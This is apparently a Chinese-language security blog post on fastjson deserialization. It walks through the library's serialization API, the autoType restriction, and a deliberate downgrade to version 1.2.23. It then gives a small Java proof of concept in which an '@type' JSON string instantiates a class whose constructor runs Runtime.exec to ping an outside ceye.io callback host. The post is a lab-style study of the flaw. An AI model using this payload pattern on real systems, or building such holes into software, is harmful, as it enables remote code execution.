凡心所向,素履所往

fastjson 反序列化(二)

字数统计: 755阅读时长: 3 min
2019/07/28 Share

fastjson

在接触了fastjson的rce后,感觉还是得调用下fastjson ,最好能自己写一个漏洞环境出来

fastjson 调用

基础调用fastjson的方法

fastjson 常用序列化操作

public static final Object parse(String text); // 把JSON文本parse为JSONObject或者JSONArray 
public static final JSONObject parseObject(String text)// 把JSON文本parse成JSONObject    
public static final  T parseObject(String text, Class clazz); // 把JSON文本parse为JavaBean 
public static final JSONArray parseArray(String text); // 把JSON文本parse成JSONArray 
public static final  List parseArray(String text, Class clazz); //把JSON文本parse成JavaBean集合 
public static final String toJSONString(Object object); // 将JavaBean序列化为JSON文本 
public static final String toJSONString(Object object, boolean prettyFormat); // 将JavaBean序列化为带格式的JSON文本 
public static final Object toJSON(Object javaObject); 将JavaBean转换为JSONObject或者JSONArray。

如:通过toJSONString进行序列化
通过parseObject、parse进行反序列化

static class User{
        private String id ;
        private String name;
        private int age ;
}
...
...
User user = new User("1","fastjson",1);

String jsonString = JSON.toJSONString(user);
//这里将javabean(java 对象)转化成json字符串
User user1 = JSON.parseObject(jsonString,User.class);
//这里将json字符串转化成javabean(java 对象)

...
...
String jsonString2 = JSON.toJSONString(user,SerializerFeature.WriteClassName)
User user3 = (User)JSON.parse(jsonString2);//通过parse方法进行反序列化

-w679
-w966

在进行反序列化的时候,这里显示autoType不支持
这个地方也正好是fastjson出现反序列化漏洞的地方。
代码位置:/repository/com/alibaba/fastjson/1.2.45/fastjson-1.2.45.jar!/com/alibaba/fastjson/parser/ParserConfig.class
-w734
这里抛出异常主要是自1.2.25及之后的版本,禁用了部分autotype的功能,也就是”@type”这种指定类型的功能会被限制在一定范围内使用。
而由于反序列化对象时,需要检查是否开启了autotype。所以如果反序列化检查时,autotype没有开启,就会报错。因此把测试的fastjson版本改成1.2.23
-w492

此时测试就可以通过
-w738

fastjson 1.2.24前测试

盗图一张
fastjson反序列化流程
-w875

在该反序列化漏洞中测试,新特性SerializerFeature.WriteClassName反序列化。
-w885

SerializerFeature.WriteClassName
-   坑二:内部类反序列化问题

-w858
此处只能使用parse
-w699

模拟流程如下:

package com.fastmaven.service;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
import  java.lang.Runtime;

public class App 
{
    public static void main( String[] args )
    {
        try {
            Exp obj = (Exp)JSON.parse("{{\"@type\":\"com.fastmaven.service.App$Exp\",\"age\":18,\"name\":\"fastjson\"}");
            System.out.println(obj);
        }
        catch(Exception e){System.out.println(e);}

    }
    public static class Exp {
        public String name;
        private int age;
        public Exp() throws IOException {
            String[] commands ={"ping","xxx.ceye.io"};
            Runtime.getRuntime().exec(commands);
        }
        public String getName() {
            System.out.println("getName");
            return name;
        }

        public void setName(String name) {
            System.out.println("setName");
            this.name = name;
        }
    }
}

代码执行如下:
-w583

-w1420

流程跟踪

这里跟参照的文章有点不一样,但最后还是JSONLexerBase.java 后进行命令执行,然后报错,但此时代码已经执行了。
-w977
-w1023
-w885
-w1024
-w977
-w592

-w1319

参考

fastjson 远程反序列化poc的构造和分析
探秘Java反序列化漏洞四:Fastjson反序列化漏洞分析

CATALOG
  1. 1. fastjson
    1. 1.1. fastjson 调用
      1. 1.1.1. fastjson 常用序列化操作
        1. 1.1.1.1. fastjson 1.2.24前测试
          1. 1.1.1.1.1. SerializerFeature.WriteClassName
          2. 1.1.1.1.2. 流程跟踪
  2. 2. 参考